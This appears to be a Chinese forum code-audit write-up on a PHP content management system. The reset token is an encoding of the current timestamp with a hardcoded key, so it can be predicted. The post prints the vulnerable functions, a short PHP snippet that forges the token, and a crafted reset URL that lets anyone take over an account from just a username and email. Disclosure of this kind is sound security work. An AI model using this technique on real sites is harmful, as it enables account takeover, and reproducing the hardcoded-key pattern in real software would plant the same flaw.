来源:http://bbs.ichunqiu.com/thread-10497-1-1.html?from=ch
前言
为了防止被坏蛋哥干掉,出来写篇文章,这个是昨晚审的一套系统发现的一个任意用户密码找回漏洞,感觉还不错,就拿这个来写文章吧
漏洞起因
造成这漏洞的原因是生成找回密码密文的key是硬编码到生成密文的函数中的,所以除非站长直接修改函数中的key,不然就可以预测出密文来找回密码(不过一般的站长总不会自己去修改代码来解决这漏洞吧。。)
漏洞分析
我们在使用系统的邮箱找回密码功能的时,发现会给邮箱发送这么一个url,一点击这个url就进入重新设置用户密码的界面
http://127.0.0.1//xxxxx/index.php?s=/member/reset_password/username/test1/email/3281210550%40qq.com/hash/MnToQi3nMuTochxcMeDEzNgO0O0OO0O0O/addtime/1471710136.html
一打开就进入了重新设置密码的界面
hash/MnToQi3nMuTochxcMeDEzNgO0O0OO0O0O/addtime/1471710136.html
可以看到有这么一个hash值
下面我们来看代码看看这个hash值是如何生成的
function find_password()
{
if ($_POST) {
self::check_verify();
$_POST = array_map('strval', $_POST);
if (empty($_POST['username']) || empty($_POST['email']) || !preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/", $_POST['email'])) {
$this->error('请输入用户名与注册邮件');
}
$map['username'] = inject_check($_POST['username']);
$map['email'] = inject_check($_POST['email']);
$t = M('member')->where($map)->find();
if (!$t) {
$this->error('用户名与邮件不匹配');
} else {
$map['hash'] = xxxx_encrypt(time());
$map['addtime'] = time();
M('find_password')->add($map);
$url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . U('Member/reset_password', $map);
$body = "您在" . date('Y-m-d H:i:s') . "提交了找回密码请求。请点击下面的链接重置密码(48小时内有效)。
{$url}";
send_mail($t['email'], $t['email'] . '用户', '用户找回密码邮件', $body);
$this->assign("waitSecond", 30);
$this->assign("jumpUrl", U('Member/login'));
$this->success('找回密码成功!请在48小时内登陆邮箱重置密码!');
}
} else {
$this->display();
}
}
复制代码
代码大概的意思就是如果输入了正确的用户名和邮箱就调用了 xxxx_encrypt来生成找回密码的密文
$map['hash'] = xxxx_encrypt(time());
可以看到hash值是通过xxxx_encrypt函数生成的,time()函数的返回值是服务器当前时间的unix时间戳
echo time();
?>
然后追踪下来,看xxxx_encrypt函数
function xxxx_encrypt($string = '', $skey = 'echounion')
{
$skey = array_reverse(str_split($skey));
$strArr = str_split(base64_encode($string));
$strCount = count($strArr);
foreach ($skey as $key => $value) {
$key < $strCount && $strArr[$key] .= $value;
}
return str_replace('=', 'O0O0O', join('', $strArr));
}
复制代码
可以看到function xxxx_encrypt($string = '', $skey = 'echounion')
key在没有传递的情况下,默认为$skey = 'echounion',而调用这个函数的时候,第二个参数刚好为空,所以key也就是'echounion'了,而且最要命的是这是硬编码进来的,安装的时候也没有对这个key进行初始化,也就是说除非站长直接改动代码,不然这个key就不会改了,因为是硬编码进来的
这个函数的功能用key对传递过来的string进行加密,虽然这个加密函数比较简单,不过我这种菜逼还是看的似懂非懂,不过突然想到了,加密的值和key都知道了,可以直接预测出找回密码时生成的密文的,这样就可以重置任意用户的密码了
function reset_password()
{
if ($_REQUEST['email'] == '' || $_REQUEST['username'] == '' || $_REQUEST['hash'] == '' || $_REQUEST['addtime'] == '') {
$this->errpr('URL参数不完整');
}
$_REQUEST = array_map('strval', $_REQUEST);
$map['username'] = inject_check($_REQUEST['username']);
$map['email'] = inject_check($_REQUEST['email']);
$map['hash'] = inject_check($_REQUEST['hash']);
$map['addtime'] = inject_check($_REQUEST['addtime']);
$t = M('find_password')->where($map)->find();
if (!$t) {
$this->error('URL参数不正确');
} else {
if (time > $t['addtime'] + 48 * 3600) {
$this->error('URL已经过期');
M('find_password')->where('id=' . $t['id'])->delete();
}
}
if ($_POST) {
if ($_POST['newpwd'] == '' || $_POST['newpwd'] != $_POST['newpwd2']) {
$this->error('密码不能为空,两次密码输入必须一致');
}
unset($map['hash']);
unset($map['addtime']);
M('member')->where($map)->setField('userpwd', md5($_POST['newpwd']));
$this->assign("jumpUrl", U('Member/login'));
$this->success('密码已经修改成功!请登陆');
} else {
$this->display();
}
}
复制代码
$map['username'] = inject_check($_REQUEST['username']);
$map['email'] = inject_check($_REQUEST['email']);
$map['hash'] = inject_check($_REQUEST['hash']);
$map['addtime'] = inject_check($_REQUEST['addtime']);
$t = M('find_password')->where($map)->find();
addtime和hash是可预测的,也就是说只要知道用户名和邮箱就可以找回任意用户的密码了
漏洞利用
由于value是time(),也就是服务器当前时间的unix时间戳,而key是硬编码进去的,所以可以直接调用这个加密函数来得到密文,找回密码
首先点击忘记密码,输入你要重置密码的用户的用户名和邮箱,然后点击验证,记住发送的时间(可能本地的时间和服务器的时间多多少少有点误差,这种情况下,可以写个小脚本,生批量生成最近几十秒unix时间戳的密文访问测试)
假设这里的时间戳为1471711028(把时间转换为时间戳,直接百度一下就有很多相关的在线工具了)
function xxxx_encrypt($string = '', $skey = 'echounion')
{
$skey = array_reverse(str_split($skey));
$strArr = str_split(base64_encode($string));
$strCount = count($strArr);
foreach ($skey as $key => $value) {
$key < $strCount && $strArr[$key] .= $value;
}
return str_replace('=', 'O0O0O', join('', $strArr));
}
echo xxxx_encrypt("1471711028")
?>
复制代码
然后构造这么一个url
http://127.0.0.1/xxxx/index.php?s=/member/reset_password/username/用户名/email/邮箱/hash/加密后的值/addtime/时间戳.html
访问,直接重置这个用户的密码
结语
通过泉哥对我前几篇文章的点评,感觉这次在排版和内容详细程度上有了不小的进步,不过由于本人是个大菜逼,写的文章难免有错误之处,希望大家指出,现在的我的技术还在起步的路上,希望有一天我的技术可以进化到自己都怕自己,同时推荐一套I春秋主站的视频教程,关于代码审计的,知道创宇出的"漏洞案例讲解"(好像是这名字),对漏洞的分析讲的挺详细和专业的。最后也谢谢泉哥对我们文章的点评